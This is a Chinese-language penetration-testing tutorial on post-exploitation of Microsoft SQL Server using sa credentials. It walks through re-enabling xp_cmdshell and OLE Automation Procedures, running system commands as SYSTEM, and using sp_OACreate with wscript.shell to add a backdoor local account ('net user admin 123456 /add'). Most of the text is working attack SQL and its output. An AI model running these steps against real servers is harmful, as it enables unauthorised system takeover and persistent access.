前言:
致力於復現最實用的漏洞利用過程。
本文將帶領大家學習以下內容:
- 學習使用`xp_cmdshell`擴展存儲過程
- 學習調用`wscript.shell`
- 學習MSSQL寫文件
- 學習沙盤模式提權
- 學習注冊表映像劫持提
part1 使用`xp_cmdshell`擴展存儲過程
步驟1 連接MSSQL服務
首先打開SQL查詢分析器如下填寫相關參數(此處數據庫相關信息假設是我們通過前期滲透測試得到。
相關參數填寫完畢之后點擊`確定`進入該服務器MSSQL查詢分析頁面。
登入對方的MSSQL服務之后,我們看到SQL查詢分析器的界面如下,請看圖示,了解查詢分析器的功能頁:
如果沒有出現左側的對象瀏覽器,請點擊如上圖示的右上角紅框部分來開啟對象瀏覽器。
查詢框用於輸入將要執行查詢的SQL語句。
比如,我們在查詢框輸入一下語句來查看數據庫信息和系統版本:
select @@version
MSSQL語句后面可以跟`;`結束查詢或連接多句查詢。后面跟`--`可以達到注釋以后多余的語句的目的。
默認情況下我們查看到的結果並不完整,是表格查看方式,為了更明顯的查看到SQL查詢返回,我們點擊工具欄的`查詢`->`文本顯示結果`,然后再執行SQL語句:
此時可以看到完整的查詢結果為:
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
(所影響的行數為 1 行)
MSSQL版本:`Microsoft SQL Server 2005`
服務器版本:`Windows NT 5.2(windows2003)`
步驟2 驗證權限並嘗試執行
我們使用一下SQL語句來檢測對方的MSSQL服務是否為`SA`權限(`sa`權限的MSSQL用戶一般來說對應的是系統的`system`權限):
select IS_SRVROLEMEMBER('sysadmin')
如果查詢結果返回`1`則說明是`SA`權限,很幸運,我們的目標機的`MSSQL`賬戶對應的是`SA`
權限。
使用以下SQL語句判斷目標機的MSSQL服務是否存在`xp_cmdshell`擴展存儲過程:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
只要返回結果不是`0`就說明存在`xp_cmdshell`擴展存儲過程,啟用沒啟用我們稍后再作判斷:
如上,查詢返回`1`,即是存在`xp_cmdshell`擴展存儲過程,那么我們嘗試執行以下SQL語句使用`xp_cmdshell`擴展存儲過程來執行系統命令`whoami`(查看當前系統權限):
Exec master..xp_cmdshell 'whoami';
命令並沒有執行成功,得到了如下錯誤信息。
Error Message:SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因為此組件已作為此 服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
步驟3 修復擴展存儲過程
幸運的是我們從報錯信息可以得出,`xp_cmdshell`擴展存儲過程沒被刪除,只是禁止訪問。於是我們就可以通過SQL語句啟用它。
(如果不支持多句執行的話,請單獨執行以分號分割的每句):
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
以上SQL語句的執行返回如下:
配置選項 'show advanced options' 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。
配置選項 'xp_cmdshell' 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。
SQL查詢返回如上則說明`xp_cmdshell`擴展存儲過程啟用成功。
啟用之后我們再使用以下SQL語句使用`xp_cmdshell`擴展存儲過程執行系統命令:
Exec master..xp_cmdshell 'whoami';
語句執行回顯如下:
output
---------
nt authority\system
NULL
(所影響的行數為 2 行)
如上,我們成功取得回顯,得知當前用戶權限是`SYSTEM`.
當然也可以進行windows的賬戶操作:
Exec master..xp_cmdshell 'net user';
> `net user`命令查看系統當前用戶情況
步驟4 后續處理
如果`xp_cmdshell`擴展存儲過程被刪除,可以使用以下語句重新添加:
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
使用以下語句來卸載存儲過程`xp_cmdshell`:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
得到如下返回:
配置選項 'show advanced options' 已從 1 更改為 1。請運行 RECONFIGURE 語句進行安裝。
配置選項 'xp_cmdshell' 已從 1 更改為 0。請運行 RECONFIGURE 語句進行安裝。
禁用之后我們再嘗試使用`xp_cmdshell`擴展存儲過程執行命令將不會成功:
Exec master..xp_cmdshell 'whoami';
若果想徹底刪除`xp_cmdshell`擴展存儲過程,建議在C盤里直接搜索`xplog70.dll` ,然后刪除之。
part2 調用`wscript.shell`
步驟1 恢復`sys.sp_OACreate`
當`xp_cmdshell`擴展存儲過程被刪除或者無法使用的情況,我們不妨試試利用`SP_OACreate`和`SP_OAMETHOD`調用系統`wscript.shell`執行系統命令。
Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';
如下可見,默認是不行的,有如下報錯信息:
SQL Server 阻止了對組件"Ole Automation Procedures"的 過程"sys.sp_OACreate"的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉
使用 `Ole Automation Procedures` 選項可指定是否可以在 `Transact-SQL` 批處理中實例化 `OLE Automation` 對象。 還可以使用基於策略的管理或者 `sp_configure` 存儲過程來配置這一選項。 有關詳細信息,請參閱外圍應用配置器。
可以將 `Ole Automation Procedures` 選項設置為以下值:
>`0`:禁用 OLE Automation Procedures。 SQL Server 新實例的默認值。
>`1`:啟用 OLE Automation Procedures。
當啟用 `OLE Automation Procedures `時,對 `sp_OACreate`的調用將會啟動 `OLE` 共享執行環境。
可以使用 `sp_configure` 系統存儲過程來查看和更改 `Ole Automation Procedures` 選項的當前值。
執行以下SQL語句查看 `OLE Automation Procedures` 的當前設置:
EXEC sp_configure 'Ole Automation Procedures';
默認情況下返回以下信息
minimum maximum config_value run_value
------- --------- ------------ ---------
0 1 0 0
如上,`config_value` 和`run_value`的值都為0,表示禁用。
執行以下SQL語句啟用 `OLE Automation Procedures`:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
配置選項 'show advanced options' 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。
配置選項 'Ole Automation Procedures' 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。
步驟2 利用`sys.sp_OACreate`
再試試利用`SP_OACreate`和`SP_OAMETHOD`調用系統`wscript.shell`執行系統命令。
Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';
如下圖可見,沒有報錯,成功執行了查詢,但是沒有看到CMD命令的回顯:
那么我們可以嘗試使用`xp_cmdshell`來驗證賬戶是否添加成功:
如果`xp_cmdshell`拓展存儲過程不存在,先使用以下語句恢復:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
然后執行以下語句驗證是否通過利用`SP_OACreate`和`SP_OAMETHOD`調用系統`wscript.shell`執行了添加admin賬戶的系統命令:
Exec master..xp_cmdshell 'net user admin';
如上圖,存在admin賬戶,利用成功。